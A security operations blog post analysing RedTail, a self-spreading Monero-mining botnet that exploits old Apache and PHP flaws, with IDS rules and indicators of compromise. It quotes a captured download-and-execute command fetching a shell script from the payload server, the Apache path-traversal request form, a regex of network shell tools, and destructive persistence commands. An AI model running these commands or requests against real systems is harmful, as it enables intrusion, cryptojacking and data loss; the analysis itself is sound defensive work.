SOCCare September 2026: RedTail - a cryptocurrency miner that spreads on its own

Over the past few months, the same requests kept recurring in the stream we monitor. Someone was persistently trying to exploit old Apache HTTP server vulnerabilities (CVE-2021-41773 and CVE-2021-42013), and at the end of the request there was always a short command that downloads and runs a shell script. My first thought: this is RondoDox again, which I wrote about in December. There is certainly no shortage of similarities: the same “exploit shotgun” principle, a stager that looks for a writable directory (/tmp, /var/tmp, /dev/shm), and malicious files adapted to several processor architectures. 

On closer examination, it turned out to be RedTail. RondoDox is a DDoS botnet that hunts routers and IoT devices, whereas RedTail is a Monero miner that targets servers. Ironically, among the processes that RedTail tries to kill is “rondo”; it seems to regard RondoDox as a competitor with which it has no intention of sharing the processor. Moreover, today’s RedTail is far more than XMRig. It is a full-fledged bot with its own C2, SOCKS5 proxy, a watchdog, and an update mechanism. And most importantly, it spreads by itself. 

The IDS would trigger on several rules at once every time:

ET WEB_SERVER /bin/sh In URI Possible Shell Command Execution Attempt
ET EXPLOIT Apache HTTP Server – Path Traversal Attempt (CVE-2021-42013) M2
ET EXPLOIT Apache HTTP Server 2.4.49 – Path Traversal Attempt (CVE-2021-41773) M2

CVE-2021-41773 is a path traversal flaw in Apache 2.4.49, and CVE-2021-42013 is an incomplete fix for it in 2.4.50, which can be bypassed with double URL encoding (%%32%65 becomes “.”). If mod_cgi is enabled, the file-read bug turns into remote command execution: the request is sent to /cgi-bin/.%2e/.%2e/…/bin/sh, and everything in the POST body is executed as a shell command. In our case, the request came from 45[.]225[.]135[.]21 (AS64107, Panama):

(wget –no-check-certificate -qO- https://217[.]60[.]102[.]5/sh || curl -sk https://217[.]60[.]102[.]5/sh) | sh -s apache

wget or curl (both ignore certificate errors) downloads the script and pipes it straight into sh. The ending “-s apache” passes the script a tag by which it is later known through which service the victim was infected.

The server 217[.]60[.]102[.]5 (AS209373, SWISSNET LLC, Netherlands) shows the standard “Welcome to nginx!” in a browser. The HTTPS certificate is self-signed, with the default OpenSSL value “Internet Widgits Pty Ltd”, issued on 2026-09-11.

Who does 45[.]225[.]135[.]21 belong to? The attempt to exploit the Apache vulnerabilities is built into the bot itself, so it is likely not the operator but another, previously infected victim. From public information about this address, SSH and Telnet password guessing and web attacks can be seen.

The downloaded script is a shell file of roughly a hundred lines, and its task is simple: find a place and run the appropriate malicious file. First, it comes up with a random hidden file name .XXXX (4-35 characters), using openssl rand, if that fails /dev/urandom, or $RANDOM. If nothing works, it settles for the name .redtail.

Then it looks for a directory that can be written to and from which a file can be run. First, the current user’s directories with rwx permissions are checked, and if nothing is found, the usual suspects: /tmp, /var/tmp and /dev/shm. In each candidate it tries to write a 2 MB file, so that it is clear whether the miner will fit.

Once it finds a place, the script downloads and runs the “clean” script, then determines the architecture using uname -mp and downloads one of five files: x86_64, i686, aarch64, arm7 or riscv. If the architecture is not recognized, all five are downloaded and tried one after another.

Before launching the miner, the clean script “puts its house in order.” It stops c3pool_miner and bot.service, removes immutable/append-only special attributes (chattr -ia) from cron files and from ~/.bashrc, ~/.bash_profile and ~/.profile, and then removes all lines from them matching the pattern:

wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d

Finally, the entire contents of /tmp, /var/tmp and /dev/shm are wiped, except for the directory in which the script itself is working.

The goal is to delete the foothold of other miners or bots. The problem is that the filter is too broad: along with malicious entries, legitimate administration commands and scripts may also be deleted. Since it is applied to /etc/cron.daily, /etc/cron.weekly and other directories as well, removing some of the lines may disrupt the operation of scheduled maintenance tasks. And after /tmp, /var/tmp and /dev/shm are wiped, files of other programs, sockets, session data and locks may also be removed.

The second stage brings five ELF files packed with UPX 5.2. Unpacking them yields statically compiled programs. The “Last-Modified” header is identical for all five down to the second (2026-08-06 13:51:07 GMT), so they were likely compiled and uploaded together. The build paths (/var/build/redtail/scripts/<arch>-build/) also reveal a little of the developers’ kitchen.

Inside there are quite a few libraries: XMRig 6.26.0 for mining, libssh2 for SSH password guessing, libpcap for catching the SYN scanner’s replies, BoringSSL for cryptography, and the operator’s own “libredtail” library for the HTTP and DNS layer (User-Agent libredtail-http).

If you run strings, you will find nothing interesting: no domains, no mining pools, no commands. All the important strings (195 in total) were encrypted at compile time. Almost each has its own 64-bit XOR key and is decrypted only when it is first needed. A pleasant surprise: the keys are identical across all five architectures.

An encrypted XMRig configuration is built into the bot. It contains neither a wallet, nor a username, nor a password. Mining goes through proxy servers controlled by the operator (proxies[.]identities[.]network:2137 and two similar ones, TCP without TLS), and the wallet is on their side. A detail: the “donate-level” value has been changed to 0, so even the XMRig developers do not get their usual 1% reward.

The miner tries to squeeze out everything: it uses all available threads, “huge pages” and modifies MSR registers (if it has root). The C2 can send a new configuration at any time, so the addresses may change over time.

Once launched, the bot detaches from the terminal and renames itself so as not to catch the eye. It checks whether php, nginx or PostgreSQL is present on the system and picks a trustworthy-sounding name: php-fpm: pool www, nginx: worker process, apache2 -k start, sshd: <user>@notty and the like.

To prevent several copies from running, an abstract UNIX socket @redtail is used. A new copy asks the old one to step down, and this request is signed with an Ed25519 signature using an embedded key. I found no anti-debugging or sandbox checks in this version. The main protection against analysis here is string encryption and packing the program with UPX.

If crontab is present on the system, the bot executes:

crontab -r; echo “@reboot <path>” | crontab –

In other words, it deletes all of that user’s cron jobs and leaves only its own launch after reboot. And if there is no crontab on the system, the bot tries to create a systemd service your-redtail.service (this requires root privileges).

A separate watchdog process monitors the main bot via pidfd. If someone kills the bot, the watchdog checks the file’s SHA-512 and launches it again, and if necessary even from memory via memfd_create(“redtail”). If the file has been deleted, the watchdog downloads a new one from https://dw.<domain>/download/redtail.<arch> (one of the operator’s nine domains). Simply deleting the file is not enough; both processes must be stopped first.

At launch, and later periodically also the watchdog, scans /proc and kills (SIGKILL) processes whose executable path contains one of 20 patterns: xmrig, zmap, masscan, c3pool, redtail, rondo, kinsing, kdevtmpfsi, /tmp and others. Processes launched from an already deleted file are also killed, as well as those in whose file stratum+tcp:// is found. The killed competitor’s file has its execute permissions removed and is marked with chattr +i so that it cannot return. Side effect: any legitimate program launched from /tmp will suffer as well.

The bot starts a SOCKS5 proxy on a random port, with a random username and password, then executes iptables -F (Flushes the iptables filter rules) and opens that port. The port, login credentials, CPU model, amount of RAM and username are sent to the C2. It is likely that the infected server is also used as an intermediate node for other people’s traffic, as another source of income for the operator.

The C2 is reachable over TCP 43782 at the addresses p[.]2137gang[.]{st,pl,net,shop,store}, proxy[.]identities[.]network, proxy[.]insanitycpp[.]cx and proxy[.]insanecppdev[.]com. The protocol is custom, binary and encrypted, and the server’s “handshake” is verified with an Ed25519 signature. Through the C2, the operator can send a new mining configuration, tell the bot to update, pass on password lists and exploit content, add C2 addresses, or start and stop scanning.

What matters for defenders is that the bot resolves domains with its own DNS client. It uses not only the /etc/resolv.conf servers, but also 13 public DNS servers written into the code (1.1.1.1, 8.8.8.8, 9.9.9.9 and others), some of them over port 853. Therefore, blocking or redirecting (sinkholing) only at the organization’s DNS server is not enough; direct DNS / DoT traffic to the internet must also be restricted.

It is the spreading that most distinguishes this version from a “simple” miner. A separate thread searches for new victims without pause. Targets are picked from the range 1.0.0.0-223.255.255.255 in random order, and each address is visited only once. About 7.8% is skipped: private and reserved networks, a dozen or so US DoD and USPS /8 networks, and all Cloudflare networks.

The bot sends its own crafted TCP SYN packets (if it has root), and analyzes the replies using “libpcap”. It looks for open ports 22 and 2222 (SSH), 23 (Telnet), 80 and 443 (web), and 2375 (Docker API). Having found an open port, it tries to exploit old PHP and Apache vulnerabilities, take advantage of an improper Docker API configuration, or log in by guessing weak SSH and Telnet passwords.

Before exploiting some PHP vulnerabilities, the bot first checks whether the target is actually vulnerable. For example, a harmless request is sent asking PHP to execute echo(md5(“Hello PHPUnit”)), and the response is searched for the control value 6a9f35012f4290369bcf45fd7ccf29cf. Other MD5 values are used in a similar way: md5(“Hello”), md5(“hi”) and md5(“Hello CVE-2024-4577”). If you see such strings in web server logs or in the IDS, it is very likely that RedTail is knocking at your door.

The most interesting thing is that neither the password lists nor the Apache exploit content are in the file itself, only the paths. What is sent in the request body comes from the C2. The operator can change the delivery server and the payload without recompiling the malware.

RedTail is not just a miner that uses a server’s resources to mine Monero cryptocurrency. It looks for new victims on its own, establishes itself in systems, removes competitors, and uses infected servers as intermediate nodes. All of this allows it not only to earn from mining, but also to keep spreading.

The biggest problem is that such a botnet still gets by with old vulnerabilities that were patched several years ago. And once inside a system, RedTail can do much more damage than just slow down a server: delete scheduled tasks, change firewall rules, or even use infrastructure to attack others.

Therefore it is important not only to update servers on time, but also to monitor their activity and restrict unnecessary external connections. The sooner you detect an intrusion attempt, the greater the chance of preventing the infection and not letting it gain a foothold in the system.

MITRE ATT&CK

IoCs

IPs:

217[.]60[.]102[.]5 – payload server (sh, clean, ELF)

45[.]225[.]135[.]21 – exploiter (likely compromised RedTail bot)

130[.]12[.]180[.]51 – proxy, C2 and download server resolved IP

31[.]56[.]209[.]165 – proxy resolved IP

URLs:

hxxps[://]217[.]60[.]102[.]5/sh

hxxps[://]217[.]60[.]102[.]5/clean

hxxps[://]217[.]60[.]102[.]5/x86_64

hxxps[://]217[.]60[.]102[.]5/i686

hxxps[://]217[.]60[.]102[.]5/aarch64

hxxps[://]217[.]60[.]102[.]5/arm7

hxxps[://]217[.]60[.]102[.]5/riscv

Domains:

Mining proxy (TCP 2137): proxies[.]identities[.]network, proxies[.]insanitycpp[.]cx, proxies[.]insanecppdev[.]com

C2 (TCP 43782): p[.]2137gang[.]st, p[.]2137gang[.]pl, p[.]2137gang[.]net, p[.]2137gang[.]shop, p[.]2137gang[.]store, proxy[.]identities[.]network, proxy[.]insanitycpp[.]cx, proxy[.]insanecppdev[.]com

Updates (HTTPS): dw[.]2137gang[.]st, dw[.]2137gang[.]net, dw[.]2137gang[.]pl, dw[.]2137gang[.]shop, dw[.]2137gang[.]store, dw[.]internetshadow[.]org, dw[.]identities[.]network, dw[.]insanitycpp[.]cx, dw[.]insanecppdev[.]com

Hashes, packed (SHA-256):

sh – 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c

clean – 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892

x86_64 – f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987

i686 – 8e1a67a5c03b3cd818f046c7a1605afccc0ee5ce437a0d099881f1872b54bc70

aarch64 – d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e

arm7 – d70f917e35813a7ae323e6b2b539d6dbbfc3a3a6599f1fed93430b14ca08b141

riscv – 3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39

This article was created as the activity of SOCcare project (Grant Agreement No. 101145843).

Project partners: NRD Cyber Security, University Politehnica Bucharest and RevelSI.

Funded by the European Union. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or European Commission-EU. Neither the European Union nor the granting authority can be held responsible for them. The project is supported by the European Cybersecurity Competence Centre (ECCC).